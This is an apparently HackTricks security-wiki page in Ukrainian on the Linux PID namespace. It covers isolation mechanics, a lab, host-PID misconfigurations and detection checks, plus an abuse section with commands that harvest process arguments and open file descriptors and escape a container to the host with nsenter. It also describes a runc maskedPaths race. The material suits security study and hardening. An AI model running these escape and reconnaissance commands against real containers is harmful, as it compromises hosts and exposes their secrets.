Простір імен PID
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Простір імен PID контролює, як нумеруються процеси і які процеси видимі. Саме тому контейнер може мати свій власний PID 1, навіть якщо це не реальна машина. Всередині простору імен workload бачить те, що виглядає як локальне дерево процесів. Зовні простору імен хост усе ще бачить реальні PIDs хоста і повний ландшафт процесів.
З точки зору безпеки простір імен PID важливий, оскільки видимість процесів має цінність. Якщо workload може бачити процеси хоста, він може спостерігати імена сервісів, аргументи командного рядка, секрети, передані в аргументах процесів, стан, виведений із середовища через /proc, та потенційні цілі для входу в інші простори імен. Якщо він може робити більше, ніж просто бачити ці процеси — наприклад відправляти сигнали або використовувати ptrace за відповідних умов — проблема стає набагато серйознішою.
Робота
Новий простір імен PID починається з власної внутрішньої нумерації процесів. Перший процес, створений у ньому, стає PID 1 з погляду цього простору імен, що також означає, що він отримує спеціальні поведінкові семантики, схожі на init, для сирітських дочірніх процесів і обробки сигналів. Це пояснює багато дивностей контейнерів навколо init-процесів, прибирання zombie-процесів і чому інколи в контейнерах використовують невеликі init-обгортки.
Важливий урок з безпеки полягає в тому, що процес може виглядати ізольованим, бо бачить лише своє дерево PID, але ця ізоляція може бути навмисно знята. Docker це відкриває через --pid=host, а Kubernetes робить це через hostPID: true. Коли контейнер приєднується до простору імен PID хоста, workload бачить процеси хоста напряму, і багато наступних шляхів атаки стають значно реалістичнішими.
Лаб
To create a PID namespace manually:
sudo unshare --pid --fork --mount-proc bash
ps -ef
echo $$
Тепер shell бачить приватний вигляд процесів. Опція --mount-proc важлива, оскільки монтує екземпляр procfs, що відповідає новому PID namespace, роблячи список процесів узгодженим зсередини.
Для порівняння поведінки контейнера:
docker run --rm debian:stable-slim ps -ef
docker run --rm --pid=host debian:stable-slim ps -ef | head
Різницю видно відразу й її легко зрозуміти, тому це добре перше лабораторне завдання для читачів.
Використання під час виконання
Звичайні контейнери в Docker, Podman, containerd та CRI-O отримують власний PID namespace. Kubernetes Pods зазвичай також мають ізольований огляд PID, якщо тільки робоче навантаження явно не просить host PID sharing. Середовища LXC/Incus покладаються на той самий kernel primitive, хоча випадки використання system-container можуть відкривати більш складні дерева процесів і заохочувати більше скорочень для відладки.
Те саме правило діє скрізь: якщо runtime вирішив не ізолювати PID namespace, це свідоме звуження меж контейнера.
Неправильні конфігурації
Канонічною помилкою конфігурації є host PID sharing. Команди часто виправдовують це відладкою, моніторингом або зручністю управління сервісами, але це завжди слід розглядати як значуще виняток у безпеці. Навіть якщо контейнер не має прямого примітиву запису до процесів хоста, лише видимість може багато розповісти про систему. Коли додають можливості на кшталт CAP_SYS_PTRACE або корисний доступ до procfs, ризик суттєво зростає.
Ще одна помилка — припускати, що оскільки робоче навантаження за замовчуванням не може вбивати чи ptrace процеси хоста, то host PID sharing нешкідливий. Такий висновок ігнорує цінність enumeration, наявність namespace-entry targets і те, як видимість PID комбінується з іншими ослабленими контролями.
Зловживання
Якщо host PID namespace спільний, нападник може інспектувати процеси хоста, збирати аргументи процесів, ідентифікувати цікаві сервіси, знайти кандидатні PIDs для nsenter, або поєднати видимість процесів із привілеями, пов’язаними з ptrace, щоб заважати хосту або сусіднім робочим навантаженням. У деяких випадках просте бачення потрібного довготривалого процесу достатнє, щоб змінити подальший план атаки.
Перший практичний крок завжди — підтвердити, що процеси хоста дійсно видимі:
readlink /proc/self/ns/pid
ps -ef | head -n 50
ls /proc | grep '^[0-9]' | head -n 20
Як тільки PIDs хоста стають видимими, аргументи процесів і цілі входу в namespace часто стають найкориснішим джерелом інформації:
for p in 1 $(pgrep -n systemd 2>/dev/null) $(pgrep -n dockerd 2>/dev/null); do
echo "PID=$p"
tr '\0' ' ' < /proc/$p/cmdline 2>/dev/null; echo
done
Якщо nsenter доступний і є достатні привілеї, перевірте, чи можна використати видимий процес хоста як міст для namespace:
which nsenter
nsenter -t 1 -m -u -n -i -p sh 2>/dev/null || echo "nsenter blocked"
Навіть якщо вхід заблоковано, host PID sharing вже цінний, оскільки показує розташування сервісів, runtime components та потенційні привілейовані процеси, які можна атакувати наступними.
Host PID visibility також робить file-descriptor abuse більш реалістичним. Якщо привілейований host process або сусідній workload має відкритий чутливий файл чи сокет, зловмисник може переглянути /proc/<pid>/fd/ і повторно використати цей handle залежно від власності, опцій монтування procfs та моделі цільового сервісу.
for fd_dir in /proc/[0-9]*/fd; do
ls -l "$fd_dir" 2>/dev/null | sed "s|^|$fd_dir -> |"
done
grep " /proc " /proc/mounts
Ці команди корисні, бо вони показують, чи зменшує hidepid=1 або hidepid=2 міжпроцесну видимість, і чи взагалі видимі очевидно цікаві дескриптори, такі як open secret files, logs або Unix sockets.
Повний приклад: host PID + nsenter
Host PID sharing стає прямим host escape, коли процес також має достатні привілеї для приєднання до host namespaces:
ps -ef | head -n 50
capsh --print | grep cap_sys_admin
nsenter -t 1 -m -u -n -i -p /bin/bash
Якщо команда виконається успішно, процес контейнера тепер виконується в host mount, UTS, network, IPC та PID namespaces. Наслідок — негайне скомпрометування хоста.
Навіть якщо сам nsenter відсутній, того самого результату можна досягти через бінарний файл хоста, якщо файлову систему хоста змонтовано:
/host/usr/bin/nsenter -t 1 -m -u -n -i -p /host/bin/bash 2>/dev/null
Останні нотатки виконання
Деякі атаки, що стосуються PID-namespace, не є традиційними неправильними налаштуваннями hostPID: true, а є багами реалізації під час виконання, пов’язаними з тим, як застосовуються захисти procfs під час налаштування контейнера.
maskedPaths — перегони за host procfs
У вразливих версіях runc, атакуючі, які можуть контролювати образ контейнера або навантаження runc exec, могли б переграти фазу маскування, замінивши контейнерний /dev/null символічним посиланням на чутливий шлях procfs, наприклад /proc/sys/kernel/core_pattern. Якщо перегони вдавалися, bind mount для замаскованого шляху міг би змонтуватися на неправильну ціль і відкрити для нового контейнера глобальні налаштування procfs хоста.
Корисна команда для перевірки:
jq '.linux.maskedPaths' config.json 2>/dev/null
Це важливо, тому що кінцевий вплив може бути таким самим, як при прямому доступі до procfs: можливість запису в core_pattern або sysrq-trigger, що врешті може призвести до host code execution або denial of service.
Namespace injection з insject
Інструменти Namespace injection, такі як insject, демонструють, що взаємодія з PID-namespace не завжди вимагає попереднього входження в цільовий namespace перед створенням процесу. Допоміжний процес може приєднатися пізніше, використати setns() та виконуватися, зберігаючи видимість у цільовому PID-просторі:
sudo insject -S -p $(pidof containerd-shim) -- bash -lc 'readlink /proc/self/ns/pid && ps -ef'
Цей тип техніки має значення головним чином для advanced debugging, offensive tooling та post-exploitation робочих процесів, де контекст namespace потрібно приєднати після того, як runtime уже ініціалізував workload.
Related FD Abuse Patterns
Існують два патерни, які варто явно відзначити, коли видимі host PIDs. По-перше, привілейований процес може тримати чутливий file descriptor відкритим через execve(), оскільки він не був позначений O_CLOEXEC. По-друге, сервіси можуть передавати file descriptors через Unix sockets за допомогою SCM_RIGHTS. У обох випадках цікавий об’єкт вже не pathname, а вже відкритий handle, який процес з меншими привілеями може успадкувати або отримати.
Це важливо в роботі з контейнерами, оскільки handle може вказувати на docker.sock, привілейований лог, host secret file або інший високовартісний об’єкт навіть тоді, коли сам шлях недоступний безпосередньо з файлової системи контейнера.
Перевірки
Мета цих команд — з’ясувати, чи процес має приватний PID-вид, чи вже може перерахувати значно ширший набір процесів.
readlink /proc/self/ns/pid # PID namespace identifier
ps -ef | head # Quick process list sample
ls /proc | head # Process IDs and procfs layout
Що тут цікаво:
- Якщо в списку процесів є явні сервіси хоста, host PID sharing, ймовірно, вже увімкнено.
- Бачити лише невелике container-local дерево є нормальною базовою ситуацією; бачити
systemd,dockerdабо сторонні демони — ні. - Як тільки host PIDs стають видимими, навіть інформація про процеси тільки для читання стає корисною розвідкою.
Якщо ви виявите контейнер, який працює з host PID sharing, не сприймайте це як косметичну відмінність. Це суттєва зміна того, що workload може спостерігати та потенційно впливати.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


